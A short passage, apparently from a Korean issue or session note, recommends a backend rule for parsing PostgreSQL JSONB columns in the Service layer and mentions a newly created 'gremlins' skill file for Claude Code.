const cfg = safeObject<Config>(row.config);
|
||||
cfg.someKey // 안전
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 향후 미래 버그 예방안
|
||||
|
||||
CLAUDE.md 백엔드 섹션에 1단락 추가 권장:
|
||||
```markdown
|
||||
## JSONB 컬럼 응답 처리 (★ 절대 규칙)
|
||||
|
||||
PostgreSQL JSONB 컬럼은 mapper 에서 `column::text AS column` 으로 SELECT 하고,
|
||||
**Service 레이어의 응답 메서드에서 `parseJsonField(row, "field1", ...)` 로 후처리**.
|
||||
프론트 응답에 String 인 채로 노출 금지.
|
||||
|
||||
모범 사례: `BusinessRuleService.parseJsonField`, `AuditLogService.processChanges`,
|
||||
`AiAgentGroupService.memberToResponseMap`
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
생성된 그렘린 스킬: `C:\Users\ramse\.claude\skills\gremlins\SKILL.md`
|
||||
다음 세션부터 `/gremlins` 또는 "그램린" 키워드로 자동 호출.
|
||||
Reference in New Issue
Block a user